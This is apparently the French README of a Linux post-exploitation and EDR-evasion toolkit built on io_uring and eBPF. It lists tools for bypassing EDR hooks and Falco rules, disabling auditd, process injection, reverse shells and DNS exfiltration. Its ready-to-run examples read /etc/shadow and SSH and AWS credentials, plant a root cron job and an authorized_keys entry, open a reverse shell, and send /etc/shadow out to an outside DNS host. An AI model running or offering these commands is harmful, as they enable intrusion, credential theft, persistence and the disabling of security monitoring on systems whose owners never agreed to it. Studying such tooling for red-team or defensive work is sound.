
Kit de recherche en post-exploitation et évasion pour Linux
Kit de recherche en post-exploitation et évasion pour Linux, construit autour d'io_uring et d'eBPF. Pas de liburing, pas de frameworks, des appels système bruts partout.
Plus d'outils bientôt. Les PRs sont les bienvenus. 🇧🇷
Rejoignez les Rootkit Researchers
Pour des recherches autorisées et des engagements d'équipe rouge uniquement. N'exécutez pas ceci sur des systèmes qui ne vous appartiennent pas.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Prérequis
**Chaîne d'outils**
| outil | nécessaire pour |
|---|---|
| `gcc` | tous les binaires espace utilisateur |
| `clang` | `ebpf/*.bpf.c` programmes côté BPF |
| `make` | système de construction |
**En-têtes et bibliothèques**
| paquet | nécessaire pour |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` et en-têtes noyau associés |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` et autres utilisés dans les programmes `ebpf/` |
| `bpftool` | générer `vmlinux.h` via `make vmlinux` dans `ebpf/` |
Sur Debian/Kali/Ubuntu :```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Versions du noyau
| minimum | ce qu'il déverrouille |
|---|---|
| 5.4 | base io_uring (IORING_FEAT_SINGLE_MMAP, itération de map BPF) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | séparation CAP_BPF + CAP_PERFMON (remplace CAP_SYS_ADMIN pour BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
Capacités
| capacité | outils qui la nécessitent |
|---|---|
CAP_BPF (ou CAP_SYS_ADMIN pre-5.8) | tous les outils bpf/, les chargeurs ebpf/ |
CAP_PERFMON | programmes tracepoint et kprobe ebpf/ |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
BTF doit être activé dans le noyau (CONFIG_DEBUG_INFO_BTF=y) pour exécuter make vmlinux pour les programmes ebpf/.
Sur les distributions avec des en-têtes libc-dev anciens (Ubuntu 22.04 etc.), vous aurez peut-être besoin de #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Déjà géré dans ce dépôt.
| commande | construit |
|---|---|
make all | tout |
make uring | uniquement io_uring/ |
make bpf | outils espace utilisateur bpf/ |
make ebpf | programmes côté BPF (nécessite clang + libbpf) |
make edrs | tous les binaires edrs/ |
make techniques | outils de contournement de Falco |
make clean | supprimer tous les binaires |
edrs/ possède son propre sous-Makefile avec environ 75 binaires répartis par privilège :```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
Voir [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) pour la répartition complète.
## Couverture de contournement io_uring
Les SQEs io_uring passent par la workqueue du noyau. `io_uring_enter(2)` n'appelle jamais via `sys_call_table`, ne déclenche jamais les points de trace `sys_enter_*`, et ne touche jamais le livepatch sur `native_sys_call`. Cela suffit à tuer une grande classe de hooks EDR sans rien toucher.
Ce que io_uring contourne seul :
| point d'accroche | note |
|---|---|
| remplacement du pointeur `sys_call_table` | io_uring ne passe jamais par la table des appels système |
| livepatch sur `native_sys_call` / `compat_sys_call` | même raison |
| points de trace `sys_enter_*` | chemin workqueue, aucun point de trace ne se déclenche |
Ce que io_uring NE contourne PAS seul (nécessite un outil actif) :
| point d'accroche | outil | ce que fait l'outil |
|---|---|---|
| kprobes sur `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | supprime les hooks kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | détache le lien BPF |
| Audit Linux | `audit_kill` | désactive auditd via NETLINK_AUDIT |
| correctifs LD_PRELOAD / PLT-GOT | `plt_unhook` | supprime les hooks espace utilisateur |
| netfilter OUTPUT / conntrack | `af_packet_shell` | utilise AF_PACKET au niveau 2, ignore netfilter |
| hooks `inet_stream_connect` | `udp_shell` | utilise UDP, n'appelle jamais le chemin de connexion TCP |
## io_uring/
`iouring_utils.h` gère la configuration du ring sans liburing.
| binaire | ce qu'il fait |
|---|---|
| `file_read` | chaîne OPENAT+READ+CLOSE via io_uring, pas d'événement sys_enter_read |
| `file_write` | chaîne OPENAT+WRITE+CLOSE |
| `file_append` | identique à file_write mais avec O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV dans un seul ring |
| `net_reverse_shell` | shell inversé via io_uring CONNECT |
| `multifile_read` | jusqu'à 64 fichiers dans un seul lot SQE |
| `memfd_exec` | envoie ELF via stdin dans memfd, execve via /proc/self/fd |
| `proc_inject` | injection JIT via /proc/PID/mem ; injection ptrace (drapeau --ptrace) |
| `pipe_splice` | SPLICE noyau-à-noyau, les hooks espace utilisateur ne voient jamais les octets |
| `inotify_bypass_watch` | io_uring READ ne lève pas IN_ACCESS/IN_OPEN |
| `dns_exfil` | données hex-encodées comme étiquettes de requête DNS via io_uring SENDMSG |
| `af_packet_send` | Ethernet brut via AF_PACKET (IORING_OP_SOCKET, contourne le chemin inet) |
| `xdp_socket_send` | trame brute via AF_XDP + anneau UMEM, contourne complètement netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
La plupart des outils nécessitent CAP_BPF. env_exfil fonctionne sans privilèges. icmp_trigger nécessite CAP_NET_RAW au lieu de CAP_BPF.